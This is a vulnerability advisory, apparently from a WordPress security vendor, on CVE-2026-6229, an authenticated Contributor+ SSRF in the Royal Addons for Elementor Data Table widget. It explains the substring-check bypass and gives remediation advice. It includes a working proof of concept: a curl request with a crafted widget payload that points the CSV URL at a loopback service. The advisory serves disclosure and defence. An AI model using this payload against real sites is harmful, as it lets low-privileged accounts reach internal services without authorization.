CVE-2026-6229 – Royal Addons for Elementor – Contributor+ SSRF – POC

CVE-2026-6229 affects Royal Addons for Elementor and is an authenticated Contributor+ server-side request forgery vulnerability in the Data Table widget. In versions through 1.7.1057, a user-controlled CSV URL can bypass the Google Sheets substring check, reach arbitrary internal or external HTTP services, and expose response data after it is parsed into the rendered table.

CVE	CVE-2026-6229
Plugin Version	Royal Addons for Elementor <= 1.7.1057, fixed in 1.7.1058
All Time	19 505 133
Active installations	600 000+
Publicly Published	May 1, 2026
Last Updated	May 2, 2026
Researcher	Dmitrii Ignatyev
PoC	Yes
Exploit	No
Reference	https://www.cve.org/CVERecord?id=CVE-2026-6229 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/royal-elementor-addons/royal-addons-for-elementor-171057-authenticated-contributor-server-side-request-forgery-via-csv-url-parameter
Plugin Security Certification by CleanTalk
Logo of the plugin

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

Get Plugin Security Certificate

PSC by Cleantalk

Timeline

March 16, 2026	Plugin testing and vulnerability detection in Royal Addons for Elementor were completed.
March 16, 2026	The vulnerability was reported with PoC, description, and recommendations for remediation.
May 1, 2026	CVE-2026-6229 was publicly published by Wordfence.

Discovery of the Vulnerability

The Data Table widget accepts a remote CSV source in URL mode. In modules/data-table/widgets/wpr-data-table.php, render_csv_data() allows the input when the extension is csv or when pathinfo() reports a dirname containing docs.google.com/spreadsheets. The second branch is a substring comparison and does not verify the actual destination host.

A Contributor can place the required marker in a query value while keeping any HTTP endpoint as the real destination. The URL then reaches fopen() in wpr_parse_csv_to_table() and detect_csv_delimiter(). No strict host allowlist or private address block prevents access to loopback and internal network services. The response is read as CSV and part of its data can appear in the rendered table.

Understanding of Server-Side Request Forgery attacks

Server-side request forgery lets an attacker make the application server initiate a network request. The destination may be an external host, a loopback service, or a private network address that the attacker cannot reach directly. When the response is also returned or rendered, the issue can disclose service banners, administrative data, and other internal content. URL checks must validate the resolved scheme, host, and address instead of trusting a substring anywhere in the input.

Exploiting the Server-Side Request Forgery Vulnerability

The following non-destructive PoC was confirmed on Royal Addons for Elementor 1.7.1049 with a Contributor account. It saves a Data Table widget that targets a loopback HTTP service and demonstrates the filter bypass without contacting a third-party system.

POC:

POC:
1. Log in with a Contributor or higher account.
2. Create a new post in Elementor and intercept the editor save request.
3. Set TARGET, COOKIE, POST_ID, and NONCE for the authorized test site.
4. Send the request below.

ACTIONS='{"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"f2c791c","elType":"container","isInner":false,"isLocked":false,"settings":{},"interactions":{},"elements":[{"id":"54c0086","elType":"widget","isInner":false,"isLocked":false,"widgetType":"wpr-data-table","interactions":{},"elements":[],"settings":{"choose_table_type":"pro-cv","choose_csv_type":"url","table_insert_url":{"url":"http://127.0.0.1:8081/?asd=/docs.google.com/spreadsheets/d/ping"},"display_header":"yes"}}]}],"settings":{"post_title":"Elementor SSRF Test","post_status":"publish"}}}}'

curl -sS -i "$TARGET/wp-admin/admin-ajax.php" \
  -H "Cookie: $COOKIE" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "action=elementor_ajax" \
  --data-urlencode "editor_post_id=$POST_ID" \
  --data-urlencode "initial_document_id=$POST_ID" \
  --data-urlencode "_nonce=$NONCE" \
  --data-urlencode "actions=$ACTIONS"

5. Observe the request at the authorized local service on 127.0.0.1:8081 and the response data parsed by the widget.

____

On a vulnerable installation, the query value satisfies the substring check even though the real host is 127.0.0.1. The WordPress server performs the outbound request and the widget processes the returned body as CSV.

Recommendations for Improved Security

Site owners should update Royal Addons for Elementor to version 1.7.1058 or later and limit Elementor editing rights to trusted accounts until the update is applied. Developers should parse remote URLs with WordPress safe HTTP helpers, require an explicit scheme and host allowlist where remote spreadsheets are supported, reject loopback and private address ranges after DNS resolution, and repeat the address check after redirects. A query substring must never be treated as proof of the destination host.

By addressing Server-Side Request Forgery issues like CVE-2026-6229, WordPress site owners can prevent low-privileged accounts from using the application server as a path to internal services. Stay vigilant, stay secure.

#WordPressSecurity #SSRF #ElementorSecurity #WebsiteSafety #StayProtected #HighVulnerability

Use CleanTalk solutions to improve the security of your website